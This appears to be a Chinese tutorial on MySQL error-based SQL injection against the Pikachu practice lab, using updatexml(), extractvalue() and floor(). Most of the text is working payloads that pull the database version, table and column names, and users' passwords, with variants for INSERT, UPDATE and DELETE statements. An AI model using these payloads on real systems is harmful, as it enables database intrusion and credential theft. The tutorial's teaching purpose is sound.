在SQL注入中可以通过报错来获取信息,不是报错注入啊,mysql数据库中内置了,一些报错函数,有时候我们在SQL注入时,报错不显示,或者报错显示的界面总是一个,这样的我们就没法通过这样的方式来获取信息
原理就是在我们输入命令后,后端执行,已报错的方式来返回我们查询的结果
常用的报错函数有:
- UPDATEXML() :mysql对XML 文档数据进行查询和修改的函数
- EXTRCTVALUE():mysql对XML文档数据进行查询的函数
- floor():mysql用来取整的函数
这里我们先介绍UPDATEXML()的用法
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:fiedname是String格式,为表中的字段名
第二个参数:XPathing(Xpath格式的字符串)Xpath定位必须是有效的,否则会发生错误
第三个参数:new_value,string格式,替换查到的符合条件的
这个我们同样以字符型输入进行演示,在我输入一个单引号时,会报出语法错误,这个我们之前演示过,现在我么输入以下payload
koke ' and updatexml (1, version(), 0 ) #
这里我先解释一下,使用and是为了,让后面的报错函数去执行,这个时候我们传进去的三个值都是错的,第一个,表中没有1这个字段,最后的0是我们要替换的值,前面1不存在,那么替换是无意义的,第二个也可以是一个表达式,即一个语句,传入后会进行执行,将执行的结果以报错的形式返回给我们,我们来看看执行后会发生什么
这里报错出现 .26,信息并不完整,我们需要进一步修改我们的payload
concat我们是知道的 0x7e是什么呢,其实是十六进制的~,这里当然用其他的也可以
koke ' and updatexml (1, concat(0x7e,version()), 0 ) #
我们看到信息是完整的
koke ' and updatexml (1, concat(0x7e,database()), 0 ) #
这里database(),也可以替换成一个查询语句
koke ' and updatexml (1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')), 0 ) #
又产生一个报错,意思是只能显示一行,那怎么办呢
我们就需要知道limit用法,limit后面跟俩个参数,例如:limit 0,1,。0既是从第一个开始,1既是步长,可以理解为显示几个数据,那么就有了以下payload
koke ' and updatexml (1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0 ) #
发现将我们第一个表显示了出来
同样
koke ' and updatexml (1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)), 0 ) #
将第二个表显示出来
接下来获取字段名
koke' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='member' limit 0,1)),0)#
我们想要知道全部的字段就需要我们一个一个去爆,这时有人说手注又累又慢,还不如用工具,我们去手注,就是要理解原理
接下来就是要获取数据
koke' and updatexml (1,concat(0x7e,(select username from member limit 0,1)),0)#
koke' and updatexml (1,concat(0x7e,(select pw from member where username='vince' limit 0,1)),0)#
下面我们讲一下insert/update注入,我们可以看到这是一个登录界面,当然它还可以进行注册,在注册时,使用insert函数向数据库添加数据,我们先介绍一下insert用法
insert into pikachu.member (username,pw,sex,phonenum,email,address) values('xiaoming',111,2,3,4,5);
这条指令还是挺容易理解的哈,输入的内容必须还字段数一样
那么我们这么利用呢,还是构造闭合
insert into pikachu.member (username,pw,sex,phonenum,email,address) values('1' or updatexml (1, concat(0x7e,version()), 0 ) or '',111,2,3,4,5);
在第一个输入的参数中是一个字符串,利用他,来闭合,实际上我们输入的是1' or updatexml (1, concat(0x7e,version() ), 0) or ' 中间的payload,我不用多说,就是用or来闭合在进行插入操作时,会将payload进行执行,并返回
当我们登录后,可以修改个人信息,这时就用到我们update
这里的payload和insert注入是一样的,1' or updatexml (1, concat(0x7e,version()), 0 ) or '
接下来是delete注入,可以看到这是一个留言板可以删除数据
当我们删除一个数据时,后端进行了什么操作呢,我们抓包看看,可以看到是传入了一个id值,因为这里是传入一个数字所以这里不需要闭合,我们的payload:1 or updatexml (1, concat(0x7e,version()), 0 )
输入的payload还要url编码
发送重放,在最后我们看到了,报错提示
上面一直用的是updatexml(),extractvalue()用法也差不多
语法:ExtractValue(xml_document,xpath_string)
第一个参数:XML_document是string格式,为xml文档对象名称
第二个参数:XPath_string(Xpath格式字符串)Xpath定位必须是有效的,否则会发生错误
同样以字符型注入进行演示,使用and进行连接
kobe ' and extractvalue(0,concat(0x7e,version()))#
最后一个floor()函数
首先floor()函数,要想进行运行,且报错,必须有count(),rand(),group by。前面构成闭合,使用and连接
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
可以看到数据库的版本,后面的1既是rand()函数随机取数,然后取整,再拼接,这里最重要的是vesion()函数,去查询我们想要的数据库的版本信息
version(),还可替换成 (select pw from member where username='vince' limit 0,1),那么payload为:
kobe' and (select 2 from (select count(*),concat((select pw from member where username='vince' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
好了今天内容就到这里了